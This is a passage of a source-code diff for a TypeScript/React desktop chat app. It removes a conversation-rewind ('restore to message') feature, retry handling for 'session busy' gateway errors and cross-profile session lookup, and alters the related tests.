@@ -44,7 +43,6 @@ function sessionInfo(overrides: Partial<SessionInfo> = {}): SessionInfo {
 
 interface HarnessHandle {
   cancelRun: () => Promise<void>
-  restoreToMessage: (messageId: string) => Promise<void>
   steerPrompt: (text: string) => Promise<boolean>
   submitText: (
     text: string,
@@ -59,7 +57,6 @@ function Harness({
   refreshSessions,
   requestGateway,
   resumeStoredSession,
-  seedMessages,
   storedSessionId
 }: {
   busyRef?: MutableRefObject<boolean>
@@ -68,7 +65,6 @@ function Harness({
   refreshSessions: () => Promise<void>
   requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
   resumeStoredSession?: (storedSessionId: string) => Promise<void> | void
-  seedMessages?: unknown[]
   storedSessionId?: null | string
 }) {
   const activeSessionIdRef: MutableRefObject<string | null> = { current: RUNTIME_SESSION_ID }
@@ -77,7 +73,7 @@ function Harness({
   }
   const localBusyRef = busyRef ?? { current: false }
   const stateRef = useRef({
-    messages: seedMessages ?? [],
+    messages: [],
     busy: false,
     awaitingResponse: false,
     interrupted: true
@@ -109,11 +105,10 @@ function Harness({
   useEffect(() => {
     onReady({
       cancelRun: actions.cancelRun,
-      restoreToMessage: actions.restoreToMessage,
       steerPrompt: actions.steerPrompt,
       submitText: actions.submitText
     })
-  }, [actions.cancelRun, actions.restoreToMessage, actions.steerPrompt, actions.submitText, onReady])
+  }, [actions.cancelRun, actions.steerPrompt, actions.submitText, onReady])
 
   return null
 }
@@ -325,81 +320,6 @@ describe('usePromptActions submit / queue drain semantics', () => {
     })
   })
 
-  it('a rejected fromQueue drain returns false (entry stays queued) and a later retry sends it', async () => {
-    // A stale-session 404 must not strand the queued entry: submitPrompt returns
-    // false on failure so the composer keeps it, and the edge-independent
-    // auto-drain re-attempts once the session is idle again. storedSessionId is
-    // null so the session.resume recovery path is skipped and the error surfaces.
-    let attempt = 0
-    const requestGateway = vi.fn(async (method: string) => {
-      if (method === 'prompt.submit') {
-        attempt += 1
-
-        if (attempt === 1) {
-          throw new Error('404: {"detail":"Session not found"}')
-        }
-      }
-
-      return {} as never
-    })
-
-    let handle: HarnessHandle | null = null
-    render(
-      <Harness
-        onReady={h => (handle = h)}
-        refreshSessions={async () => undefined}
-        requestGateway={requestGateway}
-        storedSessionId={null}
-      />
-    )
-
-    const first = await handle!.submitText('please send me', { fromQueue: true })
-    expect(first).toBe(false)
-
-    const second = await handle!.submitText('please send me', { fromQueue: true })
-    expect(second).toBe(true)
-    expect(requestGateway).toHaveBeenCalledWith('prompt.submit', {
-      session_id: RUNTIME_SESSION_ID,
-      text: 'please send me'
-    })
-  })
-
-  it('rides out a transient "session busy" so the user never sees it (retries, no error bubble)', async () => {
-    // A submit racing the settle edge can hit a transient 4009 before the turn
-    // has fully wound down. It must be invisible: retried in place until the
-    // gateway accepts, never a red "session busy" bubble.
-    let attempt = 0
-    const seeds: Record<string, unknown>[] = []
-    const requestGateway = vi.fn(async (method: string) => {
-      if (method === 'prompt.submit') {
-        attempt += 1
-
-        if (attempt === 1) {
-          throw new Error('4009: session busy')
-        }
-      }
-
-      return {} as never
-    })
-
-    let handle: HarnessHandle | null = null
-    render(
-      <Harness
-        onReady={h => (handle = h)}
-        onSeedState={s => seeds.push(s)}
-        refreshSessions={async () => undefined}
-        requestGateway={requestGateway}
-      />
-    )
-
-    expect(await handle!.submitText('sent while settling')).toBe(true)
-    expect(attempt).toBe(2) // rode past the busy on the second try
-    // No assistant-error message was appended for the transient busy.
-    expect(seeds.some(s => Array.isArray(s.messages) && (s.messages as { error?: string }[]).some(m => m.error))).toBe(
-      false
-    )
-  })
-
   it('a normal (non-queue) submit still respects the busyRef guard', async () => {
     const busyRef = { current: true }
     const requestGateway = vi.fn(async () => ({}) as never)
@@ -475,125 +395,6 @@ describe('usePromptActions steerPrompt', () => {
   })
 })
 
-describe('usePromptActions restoreToMessage', () => {
-  beforeEach(() => {
-    $busy.set(false)
-    $messages.set([
-      { id: 'u1', role: 'user', parts: [textPart('first prompt')] },
-      { id: 'a1', role: 'assistant', parts: [textPart('first answer')] },
-      { id: 'u2', role: 'user', parts: [textPart('second prompt')] },
-      { id: 'a2', role: 'assistant', parts: [textPart('second answer')] }
-    ])
-  })
-
-  afterEach(() => {
-    cleanup()
-    $busy.set(false)
-    $messages.set([])
-    vi.restoreAllMocks()
-  })
-
-  it('rewinds to the target user turn and resubmits its text', async () => {
-    const requestGateway = vi.fn(async () => ({}) as never)
-    let lastState: Record<string, unknown> = {}
-
-    let handle: HarnessHandle | null = null
-    render(
-      <Harness
-        onReady={h => (handle = h)}
-        onSeedState={state => (lastState = state)}
-        refreshSessions={async () => undefined}
-        requestGateway={requestGateway}
-        seedMessages={$messages.get()}
-      />
-    )
-
-    await handle!.restoreToMessage('u1')
-
-    // Ordinal 0 = "truncate before the first visible user message": the gateway
-    // drops that turn and everything after, then runs the same text again.
-    expect(requestGateway).toHaveBeenCalledWith('prompt.submit', {
-      session_id: RUNTIME_SESSION_ID,
-      text: 'first prompt',
-      truncate_before_user_ordinal: 0
-    })
-    expect((lastState.messages as { id: string }[]).map(m => m.id)).toEqual(['u1'])
-    expect(lastState.busy).toBe(true)
-  })
-
-  it('rethrows gateway failures and clears the busy flags for the dialog to surface', async () => {
-    const requestGateway = vi.fn(async () => {
-      throw new Error('gateway exploded')
-    })
-
-    let lastState: Record<string, unknown> = {}
-    let handle: HarnessHandle | null = null
-
-    render(
-      <Harness
-        onReady={h => (handle = h)}
-        onSeedState={state => (lastState = state)}
-        refreshSessions={async () => undefined}
-        requestGateway={requestGateway}
-      />
-    )
-
-    await expect(handle!.restoreToMessage('u2')).rejects.toThrow('gateway exploded')
-    expect(lastState.busy).toBe(false)
-  })
-
-  it('interrupts the live turn and retries past "session busy" when reverting mid-stream', async () => {
-    $busy.set(true)
-
-    let submitAttempts = 0
-    const requestGateway = vi.fn(async (method: string) => {
-      if (method === 'prompt.submit') {
-        submitAttempts += 1
-
-        // The cooperative interrupt hasn't wound the turn down yet on the first
-        // try; the second attempt lands once the gateway reports idle.
-        if (submitAttempts === 1) {
-          throw new Error('session busy')
-        }
-      }
-
-      return {} as never
-    })
-
-    let handle: HarnessHandle | null = null
-    render(
-      <Harness
-        onReady={h => (handle = h)}
-        refreshSessions={async () => undefined}
-        requestGateway={requestGateway}
-        seedMessages={$messages.get()}
-      />
-    )
-
-    await handle!.restoreToMessage('u1')
-
-    expect(requestGateway).toHaveBeenCalledWith('session.interrupt', { session_id: RUNTIME_SESSION_ID })
-    expect(submitAttempts).toBe(2)
-    expect(requestGateway).toHaveBeenCalledWith('prompt.submit', {
-      session_id: RUNTIME_SESSION_ID,
-      text: 'first prompt',
-      truncate_before_user_ordinal: 0
-    })
-  })
-
-  it('ignores non-user targets and unknown ids without touching the gateway', async () => {
-    const requestGateway = vi.fn(async () => ({}) as never)
-
-    let handle: HarnessHandle | null = null
-    render(<Harness onReady={h => (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
-
-    await handle!.restoreToMessage('a1')
-    await handle!.restoreToMessage('missing')
-
-    expect(requestGateway).not.toHaveBeenCalled()
-  })
-})
-
 describe('usePromptActions file attachment sync', () => {
   afterEach(() => {
     cleanup()
@@ -876,7 +677,7 @@ describe('usePromptActions sleep/wake session recovery', () => {
     const requestGateway = vi.fn(async (method: string) => {
       calls.push(method)
       if (method === 'prompt.submit') {
-        throw new Error('gateway exploded')
+        throw new Error('session busy')
       }
       return {} as never
     })

apps/desktop/src/app/session/hooks/use-prompt-actions.ts

@@ -35,7 +35,6 @@ import {
   terminalContextBlocksFromDraft,
   updateComposerAttachment
 } from '@/store/composer'
-import { resetSessionBackground } from '@/store/composer-status'
 import { clearNotifications, notify, notifyError } from '@/store/notifications'
 import { requestDesktopOnboarding } from '@/store/onboarding'
 import { $activeGatewayProfile, $newChatProfile, ensureGatewayProfile, normalizeProfileKey } from '@/store/profile'
@@ -53,8 +52,6 @@ import {
   setSessions,
   setYoloActive
 } from '@/store/session'
-import { clearSessionSubagents } from '@/store/subagents'
-import { clearSessionTodos } from '@/store/todos'
 
 import type {
   ClientSessionState,
@@ -117,40 +114,6 @@ function isSessionNotFoundError(error: unknown): boolean {
   return /session not found/i.test(message)
 }
 
-// The gateway refuses prompt.submit while a turn is running (4009 "session
-// busy"). It's a transient concurrency guard, never a user-facing error: a
-// submit racing the settle edge (or a rewind interrupting mid-turn) just waits
-// a beat for the turn to wind down, then lands. Bounded so a genuinely stuck
-// turn still surfaces eventually.
-const SESSION_BUSY_RETRY_TIMEOUT_MS = 6_000
-const SESSION_BUSY_RETRY_INTERVAL_MS = 150
-
-function isSessionBusyError(error: unknown): boolean {
-  return /session busy/i.test(error instanceof Error ? error.message : String(error))
-}
-
-const sleep = (ms: number) => new Promise<void>(resolve => setTimeout(resolve, ms))
-
-// Retry a gateway call across transient "session busy" so it never reaches the
-// user — the turn settles within the deadline and the call lands.
-async function withSessionBusyRetry<T>(call: () => Promise<T>): Promise<T> {
-  const deadline = Date.now() + SESSION_BUSY_RETRY_TIMEOUT_MS
-
-  for (;;) {
-    try {
-      return await call()
-    } catch (err) {
-      if (isSessionBusyError(err) && Date.now() < deadline) {
-        await sleep(SESSION_BUSY_RETRY_INTERVAL_MS)
-
-        continue
-      }
-
-      throw err
-    }
-  }
-}
-
 function base64FromDataUrl(dataUrl: string): string {
   const comma = dataUrl.indexOf(',')
 
@@ -560,7 +523,6 @@ export function usePromptActions({
       // Images use their base64 preview so the thumbnail renders inline without
       // a (remote-mode 403-prone) /api/media fetch — see optimisticAttachmentRef.
       let attachmentRefs = attachments.map(optimisticAttachmentRef).filter((r): r is string => Boolean(r))
-
       const buildContextText = (atts: ComposerAttachment[]): string => {
         const contextRefs = atts
           .map(a => a.refText)
@@ -578,7 +540,6 @@ export function usePromptActions({
       // bounce the drained send. The drain lock serializes them; the user path
       // keeps the guard so a stray Enter mid-turn can't double-submit.
       const hasSendable = Boolean(visibleText || terminalContextBlocks || attachments.length || hasImage)
-
       if (!hasSendable || (!options?.fromQueue && busyRef.current)) {
         return false
       }
@@ -691,7 +652,6 @@ export function usePromptActions({
         const syncedAttachments = await syncAttachmentsForSubmit(sessionId, attachments, {
           updateComposerAttachments: usingComposerAttachments
         })
-
         // Rewrite the optimistic message + prompt text with the synced refs so
         // the gateway receives @file: paths that resolve in its workspace.
         // (Images keep their inline base64 preview — see optimisticAttachmentRef.)
@@ -705,19 +665,18 @@ export function usePromptActions({
         let submitErr: unknown = null
 
         try {
-          await withSessionBusyRetry(() => requestGateway('prompt.submit', { session_id: sessionId, text }))
+          await requestGateway('prompt.submit', { session_id: sessionId, text })
         } catch (firstErr) {
           if (isSessionNotFoundError(firstErr) && selectedStoredSessionIdRef.current) {
             // Re-register the session in the gateway and get a fresh live ID.
             const resumed = await requestGateway<{ session_id: string }>('session.resume', {
               session_id: selectedStoredSessionIdRef.current
             })
-
             const recoveredId = resumed?.session_id
 
             if (recoveredId) {
               activeSessionIdRef.current = recoveredId
-              await withSessionBusyRetry(() => requestGateway('prompt.submit', { session_id: recoveredId, text }))
+              await requestGateway('prompt.submit', { session_id: recoveredId, text })
             } else {
               submitErr = firstErr
             }
@@ -736,17 +695,9 @@ export function usePromptActions({
 
         return true
       } catch (err) {
-        releaseBusy()
-
-        // A queued drain that raced a not-yet-settled turn gets a transient
-        // "session busy" (4009). Don't surface an error bubble/toast — the entry
-        // stays queued and the composer's bounded auto-drain retries when idle.
-        if (options?.fromQueue && isSessionBusyError(err)) {
-          return false
-        }
-
         const message = inlineErrorMessage(err, copy.promptFailed)
 
+        releaseBusy()
         updateSessionState(sessionId, state => ({
           ...state,
           messages: [
@@ -1283,13 +1234,12 @@ export function usePromptActions({
 
   const cancelRun = useCallback(async () => {
     const sessionId = activeSessionId || activeSessionIdRef.current
-    const releaseBusy = () => {
-      setMutableRef(busyRef, false)
-      setBusy(false)
-    }
 
     setAwaitingResponse(false)
 
+    // Interrupting keeps whatever was already generated and just
+    // stops — no "[interrupted]" marker. A pending/streaming message with no
+    // body text is dropped entirely so we never leave an empty bubble behind.
     const finalizeMessages = (messages: ChatMessage[], streamId?: string | null) =>
       messages
         .filter(
@@ -1301,7 +1251,8 @@ export function usePromptActions({
         )
 
     if (!sessionId) {
-      releaseBusy()
+      setMutableRef(busyRef, false)
+      setBusy(false)
       setMessages(finalizeMessages($messages.get()))
 
       return
@@ -1309,12 +1260,13 @@ export function usePromptActions({
 
     updateSessionState(sessionId, state => {
       const streamId = state.streamId
+
       const messages = finalizeMessages(state.messages, streamId)
 
       return {
         ...state,
         messages,
-        busy: false,
+        busy: true,
         awaitingResponse: false,
         streamId: null,
         pendingBranchGroup: null,
@@ -1322,13 +1274,8 @@ export function usePromptActions({
       }
     })
 
-    clearSessionTodos(sessionId)
-    clearSessionSubagents(sessionId)
-    resetSessionBackground(sessionId)
-
     try {
       await requestGateway('session.interrupt', { session_id: sessionId })
-      releaseBusy()
     } catch (err) {
       let stopError = err
 
@@ -1337,13 +1284,11 @@ export function usePromptActions({
           const resumed = await requestGateway<{ session_id: string }>('session.resume', {
             session_id: selectedStoredSessionIdRef.current
           })
-
           const recoveredId = resumed?.session_id
 
           if (recoveredId) {
             activeSessionIdRef.current = recoveredId
             await requestGateway('session.interrupt', { session_id: recoveredId })
-            releaseBusy()
 
             return
           }
@@ -1352,7 +1297,8 @@ export function usePromptActions({
         }
       }
 
-      releaseBusy()
+      setMutableRef(busyRef, false)
+      setBusy(false)
       notifyError(stopError, copy.stopFailed)
     }
   }, [
@@ -1475,101 +1421,13 @@ export function usePromptActions({
     [activeSessionId, copy.regenerateFailed, requestGateway, updateSessionState]
   )
 
-  // Cursor-style "restore checkpoint": rewind the conversation to a past user
-  // prompt and run it again from there. Reuses the edit composer's rewind
-  // mechanism — `prompt.submit` with `truncate_before_user_ordinal` drops that
-  // user turn and everything after it from the session history, then the same
-  // text is submitted as a fresh turn. Callers confirm before invoking; errors
-  // are rethrown so the confirmation dialog can surface them inline.
-  // Submit a rewind (truncate-before-ordinal + resubmit). Because edit/restore
-  // can fire while a turn is streaming, interrupt the live turn first — the
-  // cooperative interrupt takes a beat, so the shared busy-retry rides it out.
-  const submitRewindPrompt = useCallback(
-    async (sessionId: string, text: string, truncateOrdinal: number | undefined, wasRunning: boolean) => {
-      if (wasRunning) {
-        try {
-          await requestGateway('session.interrupt', { session_id: sessionId })
-        } catch {
-          // Best-effort — the busy-retry below still gates the submit.
-        }
-      }
-
-      await withSessionBusyRetry(() =>
-        requestGateway('prompt.submit', {
-          session_id: sessionId,
-          text,
-          ...(truncateOrdinal !== undefined && { truncate_before_user_ordinal: truncateOrdinal })
-        })
-      )
-    },
-    [requestGateway]
-  )
-
-  const restoreToMessage = useCallback(
-    async (messageId: string) => {
-      const sessionId = activeSessionId || activeSessionIdRef.current
-
-      if (!sessionId) {
-        return
-      }
-
-      const messages = $messages.get()
-      const sourceIndex = messages.findIndex(m => m.id === messageId)
-      const source = messages[sourceIndex]
-
-      if (!source || source.role !== 'user') {
-        return
-      }
-
-      const text = chatMessageText(source).trim()
-
-      if (!text) {
-        return
-      }
-
-      const wasRunning = $busy.get()
-      const truncateBeforeUserOrdinal = visibleUserOrdinal(messages, sourceIndex)
-
-      // The turns we're discarding may have spawned todos and background
-      // processes; they belong to the abandoned timeline, so wipe their status
-      // rows (and kill the live processes) before the fresh run repopulates.
-      clearSessionTodos(sessionId)
-      resetSessionBackground(sessionId)
-
-      clearNotifications()
-      setMutableRef(busyRef, true)
-      setBusy(true)
-      setAwaitingResponse(true)
-      updateSessionState(sessionId, state => ({
-        ...state,
-        busy: true,
-        awaitingResponse: true,
-        pendingBranchGroup: null,
-        sawAssistantPayload: false,
-        interrupted: false,
-        messages: state.messages.slice(0, sourceIndex + 1)
-      }))
-
-      try {
-        await submitRewindPrompt(sessionId, text, truncateBeforeUserOrdinal, wasRunning)
-      } catch (err) {
-        setMutableRef(busyRef, false)
-        setBusy(false)
-        setAwaitingResponse(false)
-        updateSessionState(sessionId, state => ({ ...state, busy: false, awaitingResponse: false }))
-        throw err
-      }
-    },
-    [activeSessionId, activeSessionIdRef, busyRef, submitRewindPrompt, updateSessionState]
-  )
-
   const editMessage = useCallback(
     async (edited: AppendMessage) => {
       const sessionId = activeSessionId || activeSessionIdRef.current
       const sourceId = edited.sourceId || edited.parentId
       const text = appendText(edited)
 
-      if (!sessionId || !sourceId || !text || edited.role !== 'user') {
+      if (!sessionId || !sourceId || !text || edited.role !== 'user' || $busy.get()) {
         return
       }
 
@@ -1581,23 +1439,12 @@ export function usePromptActions({
         return
       }
 
-      // Sending an edit is a revert: rewind to this prompt and re-run with the
-      // new text. It can fire mid-turn, so capture the live state — the submit
-      // helper interrupts first when a turn is running.
-      const wasRunning = $busy.get()
-
       // Failed turn: optimistic user msg never reached the gateway, so truncating
       // by ordinal would 422. Submit as a plain resend instead.
       const nextMessage = messages[sourceIndex + 1]
       const isFailedTurn = nextMessage?.role === 'assistant' && Boolean(nextMessage.error)
       const editedMessage: ChatMessage = { ...source, parts: [textPart(text)] }
 
-      // Editing rewinds the conversation to this prompt — same as restore — so
-      // drop the abandoned timeline's todos/background rows (and kill the live
-      // processes) before the re-run repopulates them.
-      clearSessionTodos(sessionId)
-      resetSessionBackground(sessionId)
-
       clearNotifications()
       setMutableRef(busyRef, true)
       setBusy(true)
@@ -1612,18 +1459,24 @@ export function usePromptActions({
         messages: [...state.messages.slice(0, sourceIndex), editedMessage]
       }))
 
+      const submit = (truncateOrdinal?: number) =>
+        requestGateway('prompt.submit', {
+          session_id: sessionId,
+          text,
+          ...(truncateOrdinal !== undefined && { truncate_before_user_ordinal: truncateOrdinal })
+        })
+
       const isStaleTargetError = (err: unknown) =>
         /no longer in session history|not in session history/i.test(err instanceof Error ? err.message : String(err))
 
       try {
-        await submitRewindPrompt(sessionId, text, isFailedTurn ? undefined : visibleUserOrdinal(messages, sourceIndex), wasRunning)
+        await submit(isFailedTurn ? undefined : visibleUserOrdinal(messages, sourceIndex))
       } catch (err) {
         let surfaced = err
 
         if (!isFailedTurn && isStaleTargetError(err)) {
           try {
-            // Already interrupted on the first attempt — submit as a plain resend.
-            await submitRewindPrompt(sessionId, text, undefined, false)
+            await submit()
 
             return
           } catch (retryErr) {
@@ -1638,7 +1491,7 @@ export function usePromptActions({
         notifyError(surfaced, copy.editFailed)
       }
     },
-    [activeSessionId, activeSessionIdRef, busyRef, copy.editFailed, submitRewindPrompt, updateSessionState]
+    [activeSessionId, activeSessionIdRef, busyRef, copy.editFailed, requestGateway, updateSessionState]
   )
 
   const handleThreadMessagesChange = useCallback(
@@ -1681,7 +1534,6 @@ export function usePromptActions({
     handleThreadMessagesChange,
     handoffSession,
     reloadFromMessage,
-    restoreToMessage,
     steerPrompt,
     submitText,
     transcribeVoiceAudio

apps/desktop/src/app/session/hooks/use-session-actions.test.tsx

@@ -1,119 +0,0 @@
-import { cleanup, render, waitFor } from '@testing-library/react'
-import type { MutableRefObject } from 'react'
-import { useEffect } from 'react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-
-import { $activeGatewayProfile, $newChatProfile } from '@/store/profile'
-import { $currentCwd } from '@/store/session'
-
-import type { ClientSessionState } from '../../types'
-
-import { useSessionActions } from './use-session-actions'
-
-vi.mock('@/hermes', async importOriginal => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  deleteSession: vi.fn(),
-  getSessionMessages: vi.fn(),
-  listAllProfileSessions: vi.fn(),
-  setApiRequestProfile: vi.fn(),
-  setSessionArchived: vi.fn()
-}))
-
-const RUNTIME_SESSION_ID = 'rt-new-001'
-
-function Harness({
-  onReady,
-  requestGateway
-}: {
-  onReady: (create: (preview?: string | null) => Promise<string | null>) => void
-  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
-}) {
-  const ref = <T,>(value: T): MutableRefObject<T> => ({ current: value })
-
-  const actions = useSessionActions({
-    activeSessionId: null,
-    activeSessionIdRef: ref<string | null>(null),
-    busyRef: ref(false),
-    creatingSessionRef: ref(false),
-    ensureSessionState: () => ({}) as ClientSessionState,
-    getRouteToken: () => 'token',
-    navigate: vi.fn() as never,
-    requestGateway,
-    runtimeIdByStoredSessionIdRef: ref(new Map<string, string>()),
-    selectedStoredSessionId: null,
-    selectedStoredSessionIdRef: ref<string | null>(null),
-    sessionStateByRuntimeIdRef: ref(new Map<string, ClientSessionState>()),
-    syncSessionStateToView: vi.fn(),
-    updateSessionState: () => ({}) as ClientSessionState
-  })
-
-  useEffect(() => {
-    onReady(actions.createBackendSessionForSend)
-  }, [actions.createBackendSessionForSend, onReady])
-
-  return null
-}
-
-async function createWith(profileSetup: () => void): Promise<Record<string, unknown> | undefined> {
-  let createParams: Record<string, unknown> | undefined
-
-  const requestGateway = vi.fn(async (method: string, params?: Record<string, unknown>) => {
-    if (method === 'session.create') {
-      createParams = params
-
-      return { session_id: RUNTIME_SESSION_ID, stored_session_id: null } as never
-    }
-
-    return {} as never
-  })
-
-  $currentCwd.set('')
-  profileSetup()
-
-  let create: ((preview?: string | null) => Promise<string | null>) | null = null
-  render(<Harness onReady={c => (create = c)} requestGateway={requestGateway} />)
-  await waitFor(() => expect(create).not.toBeNull())
-  await create!()
-
-  return createParams
-}
-
-describe('createBackendSessionForSend profile routing', () => {
-  afterEach(() => {
-    cleanup()
-    $newChatProfile.set(null)
-    $activeGatewayProfile.set('default')
-    vi.restoreAllMocks()
-  })
-
-  it('routes a plain new chat (no explicit profile) to the live gateway profile', async () => {
-    // The "rubberband to default" bug: the top New Session button clears
-    // $newChatProfile to null. In global-remote mode one backend serves every
-    // profile, so an omitted `profile` lands the chat on the launch (default)
-    // profile. The session must instead carry the active gateway profile.
-    const params = await createWith(() => {
-      $activeGatewayProfile.set('coder')
-      $newChatProfile.set(null)
-    })
-
-    expect(params).toMatchObject({ profile: 'coder' })
-  })
-
-  it('honours an explicit per-profile "+" selection', async () => {
-    const params = await createWith(() => {
-      $activeGatewayProfile.set('coder')
-      $newChatProfile.set('analyst')
-    })
-
-    expect(params).toMatchObject({ profile: 'analyst' })
-  })
-
-  it('passes the default profile for single-profile users (backend resolves it to launch)', async () => {
-    const params = await createWith(() => {
-      $activeGatewayProfile.set('default')
-      $newChatProfile.set(null)
-    })
-
-    expect(params).toMatchObject({ profile: 'default' })
-  })
-})

apps/desktop/src/app/session/hooks/use-session-actions.ts

@@ -2,7 +2,7 @@ import type { MutableRefObject } from 'react'
 import { useCallback, useRef } from 'react'
 import type { NavigateFunction } from 'react-router-dom'
 
-import { deleteSession, getSession, getSessionMessages, setSessionArchived } from '@/hermes'
+import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
 import { normalizePersonalityValue } from '@/lib/chat-runtime'
@@ -12,7 +12,7 @@ import { clearQueuedPrompts } from '@/store/composer-queue'
 import { $pinnedSessionIds } from '@/store/layout'
 import { clearNotifications, notify, notifyError } from '@/store/notifications'
 import { requestDesktopOnboarding } from '@/store/onboarding'
-import { $activeGatewayProfile, $newChatProfile, $profiles, ensureGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import { $activeGatewayProfile, $newChatProfile, ensureGatewayProfile, normalizeProfileKey } from '@/store/profile'
 import {
   $currentCwd,
   $messages,
@@ -43,7 +43,6 @@ import {
   workspaceCwdForNewSession
 } from '@/store/session'
 import { reportBackendContract } from '@/store/updates'
-import { isWatchWindow } from '@/store/windows'
 import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo, UsageStats } from '@/types/hermes'
 
 import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
@@ -210,70 +209,6 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
   setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
 }
 
-function sessionMatchesStoredId(session: SessionInfo, storedSessionId: string): boolean {
-  return session.id === storedSessionId || session._lineage_root_id === storedSessionId
-}
-
-function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
-  const lineage = session._lineage_root_id ?? session.id
-
-  setSessions(prev => [
-    session,
-    ...prev.filter(existing => {
-      if (sessionMatchesStoredId(existing, storedSessionId)) {
-        return false
-      }
-
-      return (existing._lineage_root_id ?? existing.id) !== lineage
-    })
-  ])
-}
-
-async function resolveStoredSession(storedSessionId: string): Promise<SessionInfo | undefined> {
-  const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
-
-  if (cached) {
-    return cached
-  }
-
-  // Direct by-id on the live backend — one row lookup, no list scan. Covers
-  // single-profile users and any id on the active profile (e.g. an old session
-  // past the sidebar's recent window). 404 just means it's not on this profile.
-  try {
-    const session = await getSession(storedSessionId)
-
-    upsertResolvedSession(session, storedSessionId)
-
-    return session
-  } catch {
-    // Not on the active profile — fall through to the cross-profile probe.
-  }
-
-  // Multi-profile only: probe each other profile by id (still one cheap lookup
-  // each) rather than pulling every profile's recent sessions. The first hit
-  // carries its owning `profile`, which routes the resume to the right backend.
-  const activeKey = normalizeProfileKey($activeGatewayProfile.get())
-
-  const otherProfiles = $profiles
-    .get()
-    .map(profile => normalizeProfileKey(profile.name))
-    .filter(key => key !== activeKey)
-
-  for (const profile of otherProfiles) {
-    try {
-      const session = await getSession(storedSessionId, profile)
-
-      upsertResolvedSession(session, storedSessionId)
-
-      return session
-    } catch {
-      // Not on this profile; try the next.
-    }
-  }
-
-  return undefined
-}
-
 type SessionRuntimeStatePatch = Partial<
   Pick<
     ClientSessionState,
@@ -431,17 +366,13 @@ export function useSessionActions({
       creatingSessionRef.current = true
 
       try {
-        // A plain new session (top "New Session", /new, keybind) leaves
-        // $newChatProfile null to mean "use the live context"; the per-profile
-        // "+" sets it explicitly. Resolve null to the active gateway profile so
-        // session.create always carries it: in global-remote mode one backend
-        // serves every profile, so an omitted profile param silently lands the
-        // chat on the launch (default) profile — the "rubberbands back to
-        // default" bug. This is a no-op for single-profile/local-pooled users:
-        // a backend resolves its own launch profile to None (_profile_home).
-        const newChatProfile = $newChatProfile.get() ?? normalizeProfileKey($activeGatewayProfile.get())
-        await ensureGatewayProfile(newChatProfile)
+        // Route the new chat to the chosen profile's backend (null = primary,
+        // so single-profile users are unaffected).
+        await ensureGatewayProfile($newChatProfile.get())
         const cwd = $currentCwd.get().trim() || workspaceCwdForNewSession()
+        // Pass the owning profile so a new chat under a non-launch profile (global
+        // remote mode) builds its agent + persists against THAT profile's home/db.
+        const newChatProfile = $newChatProfile.get()
 
         const created = await requestGateway<SessionCreateResponse>('session.create', {
           cols: 96,
@@ -547,38 +478,10 @@ export function useSessionActions({
       const isCurrentResume = () =>
         resumeRequestRef.current === requestId && selectedStoredSessionIdRef.current === storedSessionId
 
-      // Paint the click before the profile-resolve / gateway-swap awaits below,
-      // so there's zero dead air: highlight the row instantly (the sidebar reads
-      // $selectedStoredSessionId) and, for a cold target, drop the previous
-      // transcript so the thread shows its loader instead of the old session
-      // lingering until resume lands. A warm-cached target keeps its transcript —
-      // the cached fast-path repaints it this same tick. Setting the ref here is
-      // also what use-route-resume's self-heal assumes ("set synchronously at
-      // resume entry").
-      setFreshDraftReady(false)
-      clearNotifications()
-      setSelectedStoredSessionId(storedSessionId)
-      selectedStoredSessionIdRef.current = storedSessionId
-
-      const warmRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
-
-      if (!warmRuntimeId || !sessionStateByRuntimeIdRef.current.get(warmRuntimeId)) {
-        setActiveSessionId(null)
-        activeSessionIdRef.current = null
-        setMessages([])
-      }
-
       // Swap the single live gateway to this session's profile before any
       // gateway call (no-op when it's already on that profile / single-profile).
-      // resolveStoredSession finds the row by id (cheap), so an uncached pasted
-      // id loads as fast as a sidebar click instead of hanging on a list scan.
-      const storedForProfile = await resolveStoredSession(storedSessionId)
+      const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
       const sessionProfile = storedForProfile?.profile
-
-      if (resumeRequestRef.current !== requestId) {
-        return
-      }
-
       await ensureGatewayProfile(sessionProfile)
 
       const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
@@ -586,7 +489,6 @@ export function useSessionActions({
 
       if (cachedRuntimeId && cachedState) {
         const stored = $sessions.get().find(session => session.id === storedSessionId)
-
         const cachedViewState =
           !cachedState.model && stored?.model != null
             ? {
@@ -647,7 +549,7 @@ export function useSessionActions({
       setSelectedStoredSessionId(storedSessionId)
       selectedStoredSessionIdRef.current = storedSessionId
       setSessionStartedAt(Date.now())
-      const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      const stored = $sessions.get().find(session => session.id === storedSessionId)
       applyStoredSessionPreviewRuntimeInfo(stored)
 
       if (stored) {
@@ -659,46 +561,40 @@ export function useSessionActions({
         }))
       }
 
-      let resumedRunning = false
-
       try {
-        const watchWindow = isWatchWindow()
+        // Load the local snapshot first, then ask the gateway to resume.
+        // Previously these raced:
+        //   1. clear messages to []
+        //   2. local getSessionMessages -> 45 msgs
+        //   3. a second resume path cleared [] again
+        //   4. gateway resume -> 43 msgs
+        // That is the ctrl+R flash chain. Avoid showing an empty thread
+        // while we already have a route-scoped session id, and don't race the
+        // local snapshot against gateway resume.
         let localSnapshot = $messages.get()
 
-        // REST transcript prefetch and the gateway resume RPC are independent
-        // — run them concurrently so a big session's wall time is
-        // max(prefetch, resume) instead of their sum. The prefetch paints the
-        // transcript as soon as it lands; the RPC binds the runtime id.
-        // Watch windows skip the prefetch — lazy resume attaches the live mirror.
-        const prefetchPromise = watchWindow ? null : getSessionMessages(storedSessionId, sessionProfile)
-
